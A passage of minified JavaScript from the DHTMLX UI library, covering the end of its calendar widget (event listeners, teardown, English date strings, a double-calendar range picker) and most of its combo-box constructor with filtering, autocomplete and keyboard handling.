input.detachEvent(\"onkeyup\",h._doOnInpKeyUp)}}}};this.enableListener=function(a){if(!a){return}if(typeof(window.addEventListener)==\"function\"){a.addEventListener(\"focus\",h._listenerEvFocus,false);a.addEventListener(\"blur\",h._listenerEvBlur,false)}else{a.attachEvent(\"onfocus\",h._listenerEvFocus);a.attachEvent(\"onblur\",h._listenerEvBlur)}a=null};this.disableListener=function(a){if(!a){return}a._f0=false;if(this._tmListener){window.clearTimeout(this._tmListener)}if(typeof(window.addEventListener)==\"function\"){a.removeEventListener(\"focus\",h._listenerEvFocus,false);a.removeEventListener(\"blur\",h._listenerEvBlur,false)}else{a.detachEvent(\"onfocus\",h._listenerEvFocus);a.detachEvent(\"onblur\",h._listenerEvBlur)}a=null};this._startListener=function(a){if(this._tmListener){window.clearTimeout(this._tmListener)}if(typeof(a._v1)==\"undefined\"){a._v1=a.value}if(a._v1!=a.value){this._updateFromInput(a);a._v1=a.value}if(a._f0){this._tmListener=window.setTimeout(function(){h._startListener(a)},100)}};this._listenerEvFocus=function(q){q=q||event;var a=q.target||q.srcElement;a._f0=true;h._startListener(a);a=null};this._listenerEvBlur=function(q){q=q||event;var a=q.target||q.srcElement;a._f0=false;a=null};for(var n in this.i){this._attachEventsToObject(n)}window.dhx4._eventable(this);this._evOnArrowClick=function(a){return this.callEvent(\"onArrowClick\",a)};this._evOnClick=function(a){return this.callEvent(\"onClick\",a)};this._evOnMouseOut=function(a){return this.callEvent(\"onMouseOut\",a)};this._evOnMouseOver=function(a){return this.callEvent(\"onMouseOver\",a)};this.unload=function(){this._activeDate=null;this._activeDateCell=null;this._activeInp=null;this._activeMonth=null;this._dateFormat=null;this._dateFormatRE=null;this._lastHover=null;if(this._tmListener){window.clearTimeout(this._tmListener)}this._tmListener=null;if(typeof(window.addEventListener)==\"function\"){document.body.removeEventListener(\"click\",h._doOnClick,false);window.removeEventListener(\"keydown\",h._doOnKeyDown,false);window.removeEventListener(\"unload\",h._doOnUnload,false);if(this.conf.touch==true){document.body.removeEventListener(\"touchstart\",h._doOnClick,false)}}else{document.body.detachEvent(\"onclick\",h._doOnClick);document.body.detachEvent(\"onkeydown\",h._doOnKeyDown);window.detachEvent(\"onunload\",h._doOnKeyDown)}this._doOnClick=null;this._doOnKeyDown=null;this._doOnUnload=null;for(var q in this.i){this.i[q]._dhtmlxcalendar_uid=null;this._detachEventsFromObject(q);this.disableListener(this.i[q].input);this.i[q]=null;delete this.i[q]}this.i=null;this._doOnInpClick=null;this._doOnInpKeyUp=null;window.dhx4._eventable(this,\"clear\");this.contMonth.onselectstart=null;this.contMonth.firstChild.firstChild.onclick=null;this.contMonth.firstChild.firstChild.ontouchstart=null;this.contMonth.firstChild.firstChild.firstChild.onmouseover=null;this.contMonth.firstChild.firstChild.firstChild.onmouseout=null;this.contMonth.firstChild.firstChild.lastChild.onmouseover=null;this.contMonth.firstChild.firstChild.lastChild.onmouseout=null;while(this.contMonth.firstChild.firstChild.childNodes.length>0){this.contMonth.firstChild.firstChild.removeChild(this.contMonth.firstChild.firstChild.lastChild)}this.contMonth.firstChild.removeChild(this.contMonth.firstChild.firstChild);this.contMonth.removeChild(this.contMonth.firstChild);this.contMonth.parentNode.removeChild(this.contMonth);this.contMonth=null;while(this.contDays.firstChild.childNodes.length>0){this.contDays.firstChild.removeChild(this.contDays.firstChild.lastChild)}this.contDays.removeChild(this.contDays.firstChild);this.contDays.parentNode.removeChild(this.contDays);this.contDays=null;this.contDates.onclick=null;this.contDates.ontouchstart=null;this.contDates.onmouseover=null;this.contDates.onmouseout=null;while(this.contDates.childNodes.length>0){while(this.contDates.lastChild.childNodes.length>0){this.contDates.lastChild.lastChild._css_date=null;this.contDates.lastChild.lastChild._css_month=null;this.contDates.lastChild.lastChild._css_weekend=null;this.contDates.lastChild.lastChild._css_hover=null;this.contDates.lastChild.lastChild._date=null;this.contDates.lastChild.lastChild._q=null;this.contDates.lastChild.lastChild._w=null;this.contDates.lastChild.removeChild(this.contDates.lastChild.lastChild)}this.contDates.removeChild(this.contDates.lastChild)}this.contDates.parentNode.removeChild(this.contDates);this.contDates=null;this.contTime.firstChild.firstChild.onclick=null;this.contTime.firstChild.firstChild.ontouchstart=null;while(this.contTime.firstChild.firstChild.childNodes.length>0){this.contTime.firstChild.firstChild.removeChild(this.contTime.firstChild.firstChild.lastChild)}this.contTime.firstChild.removeChild(this.contTime.firstChild.firstChild);this.contTime.removeChild(this.contTime.firstChild);this.contTime.parentNode.removeChild(this.contTime);this.contTime=null;this._lastHover=null;this._unloadSelector(\"month\");this._unloadSelector(\"year\");this._unloadSelector(\"hours\");this._unloadSelector(\"minutes\");if(this._selCover){this._selCover.parentNode.removeChild(this._selCover);this._selCover=null}if(this._sel){for(var q in this._sel._ta){this._sel._ta[q]=null}this._sel._ta=null;this._sel._t=null;this._sel.onmouseover=null;this._sel.onmouseout=null;while(this._sel.firstChild.firstChild.firstChild.childNodes.length>0){this._sel.firstChild.firstChild.firstChild.lastChild.onclick=null;this._sel.firstChild.firstChild.firstChild.lastChild.onmouseover=null;this._sel.firstChild.firstChild.firstChild.lastChild.onmouseout=null;this._sel.firstChild.firstChild.firstChild.removeChild(this._sel.firstChild.firstChild.firstChild.lastChild)}this._sel.firstChild.firstChild.removeChild(this._sel.firstChild.firstChild.firstChild);this._sel.firstChild.removeChild(this._sel.firstChild.firstChild);while(this._sel.childNodes.length>0){this._sel.removeChild(this._sel.lastChild)}this._sel.parentNode.removeChild(this._sel);this._sel=null}this.base.onclick=null;this.base.onmousedown=null;this.base.ontouchstart=null;this.base.onmouseout=null;this.base.parentNode.removeChild(this.base);this.base=null;this._clearDayHover=null;this._clearSelHover=null;this._doOnSelectorChange=null;this._doOnSelectorShow=null;this._drawMonth=null;this._fixLength=null;this._getLeft=null;this._getTop=null;this._ifrSize=null;this._hide=null;this._hideSelector=null;this._initSelector=null;this._isSelectorVisible=null;this._isVisible=null;this._posGetOffset=null;this._posGetOffsetRect=null;this._posGetOffsetSum=null;this._scrollYears=null;this._show=null;this._showSelector=null;this._strToDate=null;this._updateActiveHours=null;this._updateActiveMinutes=null;this._updateActiveMonth=null;this._updateActiveYear=null;this._updateCellStyle=null;this._updateDateStr=null;this._updateVisibleHours=null;this._updateVisibleMinutes=null;this._updateYearsList=null;this.enableIframe=null;this.hide=null;this.hideTime=null;this.setDate=null;this.setDateFormat=null;this.setYearsRange=null;this.show=null;this.showTime=null;this.unload=null;if(this._tipPopup!=null){this._tipPopup.unload();this._tipPopup=null}for(var q in this){delete this[q]}q=h=null};this.setDate(this._activeDate);return this}dhtmlXCalendarObject.prototype.lang=\"en\";dhtmlXCalendarObject.prototype.langData={en:{dateformat:\"%Y-%m-%d\",hdrformat:\"%F %Y\",monthesFNames:[\"January\",\"February\",\"March\",\"April\",\"May\",\"June\",\"July\",\"August\",\"September\",\"October\",\"November\",\"December\"],monthesSNames:[\"Jan\",\"Feb\",\"Mar\",\"Apr\",\"May\",\"Jun\",\"Jul\",\"Aug\",\"Sep\",\"Oct\",\"Nov\",\"Dec\"],daysFNames:[\"Sunday\",\"Monday\",\"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\"],daysSNames:[\"Su\",\"Mo\",\"Tu\",\"We\",\"Th\",\"Fr\",\"Sa\"],weekstart:1,weekname:\"w\"}};dhtmlXCalendarObject.prototype._buildMonthHdr=function(h){var c=this;var g=function(l){return(String(l).length==1?\"0\"+String(l):l)};var a=function(l,m){return\"<span class='dhtmlxcalendar_month_label_\"+l+\"'>\"+m+\"</span>\"};var e=String(this.langData[this.lang].hdrformat||(\"%F %Y\")).replace(/%[a-z]/gi,function(l){switch(l){case\"%m\":return a(\"month\",g(h.getMonth()+1));case\"%n\":return a(\"month\",h.getMonth()+1);case\"%M\":return a(\"month\",c.langData[c.lang].monthesSNames[h.getMonth()]);case\"%F\":return a(\"month\",c.langData[c.lang].monthesFNames[h.getMonth()]);case\"%y\":return a(\"year\",g(h.getYear()%100));case\"%Y\":return a(\"year\",h.getFullYear());case\"%%\":return\"%\";default:return l}});c=g=a=null;return e};dhtmlXCalendarObject.prototype.enableIframe=function(a){if(a==true){if(!this._ifr){this._ifr=document.createElement(\"IFRAME\");this._ifr.frameBorder=0;this._ifr.border=0;this._ifr.setAttribute(\"src\",\"javascript:false;\");this._ifr.className=\"dhtmlxcalendar_ifr\";this._ifr.onload=function(){this.onload=null;this.contentWindow.document.open(\"text/html\",\"replace\");this.contentWindow.document.write(\"<html><head><style>html,body{width:100%;height:100%;overflow:hidden;margin:0px;}</style></head><body</body></html>\")};this.base.parentNode.insertBefore(this._ifr,this.base);this._ifrSize()}}else{if(this._ifr){this._ifr.parentNode.removeChild(this._ifr);this._ifr=null}}};dhtmlXCalendarObject.prototype._ifrSize=function(){if(this._ifr){this._ifr.style.left=this.base.style.left;this._ifr.style.top=this.base.style.top;this._ifr.style.width=this.base.offsetWidth+\"px\";this._ifr.style.height=this.base.offsetHeight+\"px\"}};dhtmlxCalendarObject=dhtmlXCalendarObject;dhtmlXCalendarObject.prototype._dateStrings=function(){var a=this.langData[this.lang];return{monthFullName:a.monthesFNames,monthShortName:a.monthesSNames,dayFullName:a.daysFNames,dayShortName:a.daysSNames}};dhtmlXCalendarObject.prototype._strToDate=function(c,a){return window.dhx4.str2date(c,a||this._dateFormat,this._dateStrings())};dhtmlXCalendarObject.prototype._dateToStr=function(c,a){return window.dhx4.date2str(c,a||this._dateFormat,this._dateStrings())};window.dhtmlxDblCalendarObject=window.dhtmlXDoubleCalendarObject=window.dhtmlXDoubleCalendar=function(c){var a=this;this.leftCalendar=new dhtmlXCalendarObject(c);this.leftCalendar.hideTime();this.rightCalendar=new dhtmlXCalendarObject(c);this.rightCalendar.hideTime();this.leftCalendar.attachEvent(\"onClick\",function(e){a._updateRange(\"rightCalendar\",e,null);a._evOnClick([\"left\",e])});this.rightCalendar.attachEvent(\"onClick\",function(e){a._updateRange(\"leftCalendar\",null,e);a._evOnClick([\"right\",e])});this.leftCalendar.attachEvent(\"onBeforeChange\",function(e){return a._evOnBeforeChange([\"left\",e])});this.rightCalendar.attachEvent(\"onBeforeChange\",function(e){return a._evOnBeforeChange([\"right\",e])});this.show=function(){this.leftCalendar.show();this.rightCalendar.base.style.marginLeft=this.leftCalendar.base.offsetWidth-1+\"px\";this.rightCalendar.show()};this.hide=function(){this.leftCalendar.hide();this.rightCalendar.hide()};this.setDateFormat=function(e){this.leftCalendar.setDateFormat(e);this.rightCalendar.setDateFormat(e)};this.setDates=function(g,e){if(g!=null){this.leftCalendar.setDate(g)}if(e!=null){this.rightCalendar.setDate(e)}this._updateRange()};this._updateRange=function(e,h,g){if(arguments.length==3){(e==\"leftCalendar\"?this.leftCalendar:this.rightCalendar).setSensitiveRange(h,g)}else{this.leftCalendar.setSensitiveRange(null,this.rightCalendar.getDate());this.rightCalendar.setSensitiveRange(this.leftCalendar.getDate(),null)}};this.getFormatedDate=function(){return this.leftCalendar.getFormatedDate.apply(this.leftCalendar,arguments)};this.unload=function(){window.dhx4._eventable(this,\"clear\");this.leftCalendar.unload();this.rightCalendar.unload();this.leftCalendar=this.rightCalendar=null;this._updateRange=null;this._evOnClick=null;this._evOnBeforeChange=null;this.show=null;this.hide=null;this.setDateFormat=null;this.setDates=null;this.getFormatedDate=null;this.unload=null;a=null};this._evOnClick=function(e){return this.callEvent(\"onClick\",e)};this._evOnBeforeChange=function(e){return this.callEvent(\"onBeforeChange\",e)};window.dhx4._eventable(this);return this};function dhtmlXCombo(l,r,e,n,h){var m=this;var g=null;var s=null;if(typeof(l)==\"object\"&&!l.tagName){g=l;l=g.parent;e=g.width;r=g.name;n=g.mode;s=g.skin}this.cont=(typeof(l)==\"string\"?document.getElementById(l):l);this.conf={skin:null,form_name:r||\"dhxcombo\",combo_width:(parseInt(e)||this.cont.offsetWidth||120)-(dhx4.isFF||dhx4.isIE||dhx4.isChrome||dhx4.isOpera?2:0),combo_image:false,combo_focus:false,opts_type:(typeof(n)==\"string\"&&typeof(this.modes[n])!=\"undefined\"?n:\"option\"),opts_count:8,opts_count_min:3,opts_width:null,item_h:null,list_zi_id:window.dhx4.newId(),allow_free_text:true,allow_empty_value:true,enabled:true,btn_left:((window.dhx4.isIE6||window.dhx4.isIE7||window.dhx4.isIE8)&&typeof(window.addEventListener)==\"undefined\"?1:0),ro_mode:false,ro_text:\"\",ro_tm:null,ro_tm_time:750,img_path:\"\",img_def:\"\",img_def_dis:true,template:{input:\"#text#\",option:\"#text#\"},f_func:null,f_mode:false,f_url:false,f_cache:false,f_cache_data:{},f_dyn:false,f_dyn_end:false,f_mask:\"\",f_ac:true,f_ac_text:\"\",f_server_tm:null,f_server_last:\"\",f_loading:false,s_tm:null,s_time:200,s_mode:\"select\",last_hover:null,last_selected:null,last_match:null,last_text:\"\",last_value:\"\",tm_hover:null,tm_confirm_blur:null,clear_click:false,clear_blur:false,clear_bsp:false,clear_key:false,sp:{dhx_skyblue:{list_ofs:1,hdr_ofs:1,scr_ofs:1},dhx_web:{list_ofs:0,hdr_ofs:1,scr_ofs:0},dhx_terrace:{list_ofs:1,hdr_ofs:1,scr_ofs:1}},col_w:null};this.conf.combo_image=(this.modes[this.conf.opts_type].image==true);this.t={};this.base=document.createElement(\"DIV\");this.base.style.width=this.conf.combo_width+\"px\";this.base.innerHTML=\"<input type='text' class='dhxcombo_input' style='width:\"+(this.conf.combo_width-24-(this.conf.combo_image?23:0))+\"px;\"+(this.conf.combo_image?\"margin-left:23px;\":\"\")+\"' autocomplete='off'><input type='hidden' value=''><input type='hidden' value='false'><div class='dhxcombo_select_button'><div class='dhxcombo_select_img'></div></div>\"+(this.conf.combo_image?\"<div class='dhxcombo_top_image'>\"+this.modes[this.conf.opts_type].getTopImage(null,this.conf.enabled)+\"</div>\":\"\");this.cont.appendChild(this.base);this.list=document.createElement(\"DIV\");this.list._listId=window.dhx4.newId();this.list.style.display=\"none\";document.body.insertBefore(this.list,document.body.firstChild);this._doOnListScroll=function(){if(m.conf.s_tm!=null){window.clearTimeout(m.conf.s_tm)}m.conf.s_tm=window.setTimeout(m._doOnListScrollAction,m.conf.s_time)};this._doOnListScrollAction=function(){m.conf.s_tm=null;if(m.conf.s_mode==\"scroll\"&&m.list.scrollHeight-m.list.scrollTop-10<m.list.clientHeight){m._subloadRequest()}};if(typeof(window.addEventListener)==\"function\"){this.list.addEventListener(\"scroll\",this._doOnListScroll,false)}else{this.list.attachEvent(\"onscroll\",this._doOnListScroll)}this.setSkin(s||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxcombo\")||\"dhx_skyblue\");this._updateTopImage=function(a){if(!this.conf.combo_image){return}if(a!=null){this.base.lastChild.innerHTML=this.t[a].obj.getTopImage(this.t[a].item,this.conf.enabled)}else{this.base.lastChild.innerHTML=this.modes[this.conf.opts_type].getTopImage(null,this.conf.enabled)}};this._filterOpts=function(A){if(this.conf.f_server_tm){window.clearTimeout(this.conf.f_server_tm)}var w=String(this.base.firstChild.value).replace(new RegExp(this.conf.f_ac_text+\"$\",\"i\"),\"\");if(this.conf.f_server_last==w.toLowerCase()){this._checkForMatch();return}if(this.conf.f_url!=null&&this.checkEvent(\"onDynXLS\")){this.conf.f_server_last=w.toLowerCase();this.callEvent(\"onDynXLS\",[w]);return}if(this.conf.f_url!=null){if(w.length==0){this.conf.f_server_last=w.toLowerCase();this.clearAll();return}if(this.conf.f_cache==true&&this.conf.f_cache_data[w]!=null){this.clearAll();this.conf.f_server_last=w.toLowerCase();for(var v=0;v<this.conf.f_cache_data[w].data.length;v++){this.load(this.conf.f_cache_data[w].data[v])}if(this.conf.f_dyn){this.conf.f_dyn_end=this.conf.f_cache_data[w].dyn_end;this.conf.f_mask=this.conf.f_cache_data[w].mask}if(A!==true){this._showList(true);this._checkForMatch()}}else{this.conf.f_server_tm=window.setTimeout(function(){m.conf.f_server_last=w.toLowerCase();m.conf.f_mask=w;var q=\"mask=\"+encodeURIComponent(w);if(m.conf.f_dyn){q+=\"&pos=0\";m.conf.f_dyn_end=false}var a=function(I){if(m.conf.f_cache){if(!m.conf.f_cache_data[w]){m.conf.f_cache_data[w]={data:[],dyn_end:false,mask:w}}m.conf.f_cache_data[w].data.push(I.xmlDoc.responseXML)}m.clearAll();m.load(I.xmlDoc.responseXML);var H=(m.base.offsetWidth>0&&m.base.offsetHeight>0);if(H==true&&m.conf.enabled==true&&m.conf.combo_focus==true&&A!==true){if(m.conf.f_ac&&m.conf.f_mode==\"start\"&&m.conf.clear_bsp==false&&m.list.firstChild!=null){var F=m.list.firstChild._optId;var J=String(m.t[F].obj.getText(m.list.firstChild,true));if(w==m.base.firstChild.value&&String(J).toLowerCase().indexOf(String(w).toLowerCase())===0){m.base.firstChild.value=J;m.conf.f_ac_text=J.substr(w.length);m._selectRange(w.length,J.length)}}m._showList(true);m._checkForMatch()}a=null};if(window.dhx4.ajax.method==\"post\"){window.dhx4.ajax.post(m.conf.f_url,q,a)}else{if(window.dhx4.ajax.method==\"get\"){window.dhx4.ajax.get(m.conf.f_url+(String(m.conf.f_url).indexOf(\"?\")>=0?\"&\":\"?\")+q,a)}}},200)}}else{this.conf.f_server_last=w.toLowerCase();var u=(w.length==0?true:new RegExp((this.conf.f_mode==\"start\"?\"^\":\"\")+String(w).replace(/[\\\\\\^\\$\\*\\+\\?\\.\\(\\)\\|\\{\\}\\[\\]]/gi,\"\\\\$&\"),\"i\"));var x=null;for(var C in this.t){var E=false;if(u!==true){if(this.conf.f_func!=null){var y=this._getOption(this.t[C].item._optId,v);E=(this.conf.f_func.apply(window,[w,y])==true)}else{var D=this.t[C].obj.getText(this.t[C].item,true);E=(u.test(D)==true)}}if(u===true||E==true){this.t[C].item.style.display=\"\";if(x==null&&w.length>0){x=String(this.t[C].obj.getText(this.t[C].item,true))}}else{this.t[C].item.style.display=\"none\"}}if(this.conf.f_ac&&this.conf.f_mode==\"start\"&&this.conf.clear_bsp==false&&x!=null){this.conf.f_ac_text=x.replace(new RegExp(\"^\"+w,\"i\"),\"\");this.base.firstChild.value=x;this._selectRange(this.conf.f_server_last.length,this.base.firstChild.value.length)}if(this.conf.f_mode==\"between\"&&this.conf.clear_bsp==true){this._checkForMatch(true)}if(A!==true){this._showList(true);this._checkForMatch()}}};this._searchRO=function(u){if(this.conf.ro_tm){window.clearTimeout(this.conf.ro_tm)}this.conf.ro_text+=u;this._showList();for(var v=0;v<this.list.childNodes.length;v++){var a=this.list.childNodes[v]._optId;var w=String(this.t[a].obj.getText(this.list.childNodes[v],true)).toLowerCase();if(w.indexOf(this.conf.ro_text)===0){this._setSelected(a,true,true);this._confirmSelect(\"script\",false);break}}this.conf.ro_tm=window.setTimeout(function(){m.conf.ro_text=\"\"},this.conf.ro_tm_time)};this._initObj=function(a){if(typeof(a.template)!=\"undefined\"){this.setTemplate(a.template)}if(a.add!=true&&this.conf.f_loading!=true){this.clearAll(false)}this.addOption(a.options)};this._xmlToObj=function(P,x,v){var C={add:false,options:[]};var J=(x==true?P:P.getElementsByTagName(\"complete\"));if(J.length>0){if(window.dhx4.s2b(J[0].getAttribute(\"add\"))==true){C.add=true}var I=J[0].childNodes;for(var F=0;F<I.length;F++){if(typeof(I[F].tagName)!=\"undefined\"){if(String(I[F].tagName).toLowerCase()==\"template\"){var O={};for(var A=0;A<I[F].childNodes.length;A++){var H=I[F].childNodes[A];if(H.tagName!=null){var K=H.tagName;if(typeof(this.conf.template[K])!=\"undefined\"){O[K]=window.dhx4._xmlNodeValue(H)}if(K==\"columns\"){for(var M=0;M<H.childNodes.length;M++){var y=H.childNodes[M];if(y.tagName!=null&&y.tagName==\"column\"){var E={};for(var N in {width:1,css:1,header:1,option:1}){if(y.getAttribute(N)!=null){E[N]=y.getAttribute(N)}}for(var N in {header:1,option:1}){var L=y.getElementsByTagName(N);if(L[0]!=null&&L[0].firstChild!=null){E[N]=window.dhx4._xmlNodeValue(L[0])}}if(O.columns==null){O.columns=[]}O.columns.push(E)}y=null}}}H=null}this.setTemplate(O)}if(String(I[F].tagName).toLowerCase()==\"option\"){var D=false;if(x==true){D=(C.options.length==v)}else{D=window.dhx4.s2b(I[F].getAttribute(\"selected\"))}var u={value:I[F].getAttribute(\"value\"),text:window.dhx4._xmlNodeValue(I[F]),selected:D,checked:window.dhx4.s2b(I[F].getAttribute(\"checked\"))};for(var N in {img:1,img_dis:1,img_src:1,img_src_dis:1,css:1}){if(I[F].getAttribute(N)!=null){u[N]=I[F].getAttribute(N)}}for(var A=0;A<I[F].childNodes.length;A++){if(I[F].childNodes[A].tagName!=null&&String(I[F].childNodes[A].tagName).toLowerCase()==\"text\"){u.text={};var H=I[F].childNodes[A];for(var M=0;M<H.childNodes.length;M++){if(H.childNodes[M].tagName!=null){u.text[H.childNodes[M].tagName]=window.dhx4._xmlNodeValue(H.childNodes[M])}}}}C.options.push(u)}}}J=I=null}return C};window.dhx4._enableDataLoading(this,\"_initObj\",\"_xmlToObj\",\"complete\",{data:true});window.dhx4._eventable(this);this._getNearItem=function(u,q){var a=null;while(u!=null){u=u[q<0?\"previousSibling\":\"nextSibling\"];if(a==null&&u!=null&&u.style.display==\"\"&&u._optId!=null){a=u;u=null}}return a};this.setName(this.conf.form_name);this._doOnListMouseMove=function(q){q=q||event;var a=q.target||q.srcElement;while(a!=null&&a!=this){if(typeof(a._optId)!=\"undefined\"){if(m.conf.tm_hover){window.clearTimeout(m.conf.tm_hover)}m._setSelected(a._optId)}a=a.parentNode}a=null};this._doOnListMouseDown=function(a){a=a||event;a.cancelBubble=true;m.conf.clear_click=true;window.setTimeout(function(){m.base.firstChild.focus()},1)};this._doOnListMouseUp=function(u){u=u||event;if(u.button!=m.conf.btn_left){return}var a=u.target||u.srcElement;while(a!=null&&a!=this){if(typeof(a._optId)!=\"undefined\"){var q=true;if(typeof(m.t[a._optId].obj.optionClick)==\"function\"&&m.t[a._optId].obj.optionClick(a,u,m)!==true){q=false}if(q){m._setSelected(a._optId,null,true);m._confirmSelect(\"click\")}}a=a.parentNode}a=null};this._doOnListMouseOut=function(a){if(m.conf.tm_hover){window.clearTimeout(m.conf.tm_hover)}m.conf.tm_hover=window.setTimeout(function(){var q=m.conf.last_match||m.conf.last_selected;if(m.conf.last_match==null&&m.t[q]!=null){if(m.base.firstChild.value!=m.t[q].obj.getText(m.t[q].item,true)){q=null}}m._setSelected(q,null,true)},1)};this._doOnBaseMouseDown=function(w){if(!m.conf.enabled){return}m.conf.clear_click=true;w=w||event;if(w.button!=m.conf.btn_left){return}var q=w.target||w.srcElement;if(q!=this.firstChild){window.setTimeout(function(){m.base.firstChild.focus()},1);var v=q;while(v!=this&&v!=null){if(v==this.lastChild){if(typeof(m.modes[m.conf.opts_type].topImageClick)==\"function\"){var u=(m.conf.last_hover||m.conf.last_selected);var a=(u!=null?m.t[u].item:null);if(m.modes[m.conf.opts_type].topImageClick(a,m)!==true){u=a=null;return}}v=null}else{v=v.parentNode}}}if(m._isListVisible()){m._hideList()}else{if(q!=this.firstChild){m.conf.clear_blur=true}m._showList();m._setSelected(m.conf.last_selected,true,true)}q=null};this._doOnBodyMouseDown=function(){if(m.conf.clear_click){m.conf.clear_click=false;return}m._confirmSelect(\"blur\")};this._doOnInputFocus=function(){m.conf.clear_blur=false;if(m.conf.tm_confirm_blur){window.clearTimeout(m.conf.tm_confirm_blur)}if(m.conf.combo_focus==false){m.conf.combo_focus=true;m.callEvent(\"onFocus\",[])}};this._doOnInputBlur=function(){if(m.conf.clear_blur==true){m.conf.clear_blur=false;return}if(m.conf.tm_confirm_blur){window.clearTimeout(m.conf.tm_confirm_blur)}m.conf.tm_confirm_blur=window.setTimeout(function(){if(m.conf.clear_click==false){m._confirmSelect(\"blur\");m.conf.combo_focus=false;m.callEvent(\"onBlur\",[])}},20)};this._doOnInputKeyUp=function(a){a=a||event;if(m.conf.f_mode!=false){m.conf.clear_bsp=(a.keyCode==8||a.keyCode==46);m._filterOpts();return}else{m._checkForMatch()}};this._doOnInputKeyDown=function(a){a=a||event;if((a.keyCode==38||a.keyCode==40)&&!a.ctrlKey&&!a.shiftKey&&!a.altKey){if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}a.cancelBubble=true;m._keyOnUpDown(a.keyCode==38?-1:1)}if(a.keyCode==113){if(!m._isListVisible()){m._showList();if(m.base.firstChild.value==m.conf.last_text){m._setSelected(m.conf.last_selected,true,true);m.base.firstChild.value=m.conf.last_text;m.conf.f_server_last=m.base.firstChild.value.toLowerCase()}else{m.conf.f_server_last=m.base.firstChild.value.toLowerCase();if(m.conf.f_mode==false){m._checkForMatch()}}}else{}}if(a.keyCode==27){if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}a.cancelBubble=true;m._cancelSelect()}if(a.keyCode==13){if(a.preventDefault){a.preventDefault()}m._confirmSelect(\"kbd\")}if(m.conf.ro_mode==true&&((a.keyCode>=48&&a.keyCode<=57)||(a.keyCode>=65&&a.keyCode<=90))){m._searchRO(String.fromCharCode(a.keyCode).toLowerCase());a.cancelBubble=true}m.conf.clear_key=true;m.callEvent(\"onKeyPressed\",[a.keyCode||a.charCode])};this._doOnInputKeyPress=function(a){if(m.conf.clear_key){m.conf.clear_key=false;return}a=a||event;m.callEvent(\"onKeyPressed\",[a.keyCode||a.charCode])};this._keyOnUpDown=function(a){var q=null;if(this.conf.last_hover){q=this.t[this.conf.last_hover].item}else{if(this.conf.last_selected){q=this.t[this.conf.last_selected].item}}if(!q&&this._getListVisibleCount()==0){return}if(q!=null&&q.style.display!=\"\"){q=null}this._showList();if(q!=null){if(this.t[q._optId].obj.isSelected(q)){q=this._getNearItem(q,a)}}else{q=this.list.firstChild;if(q.style.display!=\"\"){q=this._getNearItem(q,1)}}if(q==null){return}this._setSelected(q._optId,true,true);if(this.conf.f_mode==false){this.base.firstChild.value=this.t[q._optId].obj.getText(q,true)}else{var u=String(this.t[q._optId].obj.getText(q,true));if(this.conf.f_mode==\"start\"&&this.conf.f_ac==true){if(u.toLowerCase().indexOf(this.conf.f_server_last)===0){this.conf.f_ac_text=u.substring(this.conf.f_server_last.length,u.length);this.base.firstChild.value=u;this._selectRange(this.conf.f_server_last.length,this.base.firstChild.value.length)}else{this.base.firstChild.value=u;this.conf.f_server_last=this.base.firstChild.value.toLowerCase();this._selectRange(0,this.base.firstChild.value.length)}}else{this.base.firstChild.value=u;this.conf.f_server_last=this.base.firstChild.value.toLowerCase()}}q=null};this.conf.evs_nodes=[{node:document.body,evs:{mousedown:\"_doOnBodyMouseDown\"}},{node:this.base,evs:{mousedown:\"_doOnBaseMouseDown\"}},{node:this.base.firstChild,evs:{keyup:\"_doOnInputKeyUp\",keydown:\"_doOnInputKeyDown\",keypress:\"_doOnInputKeyPress\",focus:\"_doOnInputFocus\",blur:\"_doOnInputBlur\"}},{node:this.list,evs:{mousemove:\"_doOnListMouseMove\",mousedown:\"_doOnListMouseDown\",mouseup:\"_doOnListMouseUp\",mouseout:\"_doOnListMouseOut\"}}];for(var c=0;c<this.conf.evs_nodes.length;c++){for(var o in this.conf.evs_nodes[c].evs){if(typeof(window.addEventListener)==\"function\"){this.conf.evs_nodes[c].node.addEventListener(o,this[this.conf.evs_nodes[c].evs[o]],false)}else{this.conf.evs_nodes[c].node.attachEvent(\"on\"+o,this[this.conf.evs_nodes[c].evs[o]])}}}this.unload=function(){this.clearAll();this.t=null;for(var v=0;v<this.conf.evs_nodes.length;v++){for(var u in this.conf.evs_nodes[v].evs){if(typeof(window.addEventListener)==\"function\"){this.conf.evs_nodes[v].node.removeEventListener(u,this[this.conf.evs_nodes[v].evs[u]],false)}else{this.conf.evs_nodes[v].node.detachEvent(\"on\"+u,this[this.conf.evs_nodes[v].evs[u]])}this.conf.evs_nodes[v].evs[u]=null;delete this.conf.evs_nodes[v].evs[u]}this.conf.evs_nodes[v].node=null;this.conf.evs_nodes[v].evs=null;delete this.conf.evs_nodes[v].node;delete this.conf.evs_nodes[v].evs;this.conf.evs_nodes[v]=null}window.dhx4._eventable(this,\"clear\");window.dhx4._enableDataLoading(this,null,null,null,\"clear\");this._mcDetachHeader();this.DOMelem_input=this.DOMelem_button=this.DOMlist=this.DOMelem=this.DOMParent=null;for(var u in this.conf){this.conf[u]=null;delete this.conf[u]}this.conf=null;if(typeof(window.addEventListener)==\"function\"){this.list.removeEventListener(\"scroll\",this._doOnListScroll,false)}else{this.list.detachEvent(\"onscroll\",this._doOnListScroll)}this.base.parentNode.removeChild(this.base);this.list.parentNode.removeChild(this.list);this.base=this.list=this.cont=null;this.modes=null;for(var u in this){if(typeof(this[u])==\"function\"){this[u]=null}}m=null};this.DOMelem_input=this.base.firstChild;this.DOMelem_button=this.base.childNodes[this.base.childNodes.length-(this.conf.combo_image?2:1)];this.DOMlist=this.list;this.DOMelem=this.base;this.DOMParent=l;l=null;if(g!=null){if(g.filter!=null){if(typeof(g.filter)==\"string\"){this.enableFilteringMode(true,g.filter,window.dhx4.s2b(g.filter_cache),window.dhx4.s2b(g.filter_sub_load))}else{this.enableFilteringMode(true)}}if(g.image_path!=null){this.setImagePath(g.image_path)}if(g.default_image!=null||g.default_image_dis!=null){this.setDefaultImage(g.default_image,g.default_image_dis)}if(g.items||g.options){this.addOption(g.items||g.options)}if(g.xml||g.json){this.load(g.xml||g.json)}if(typeof(g.readonly)!=\"undefined\"){this.readonly(g.readonly)}g=null}return this}function dhtmlXComboFromSelect(e){if(typeof(e)==\"string\"){e=document.getElementById(e)}var c=e.offsetWidth;var q=e.getAttribute(\"name\")||null;var g=document.createElement(\"SPAN\");e.parentNode.insertBefore(g,e);var 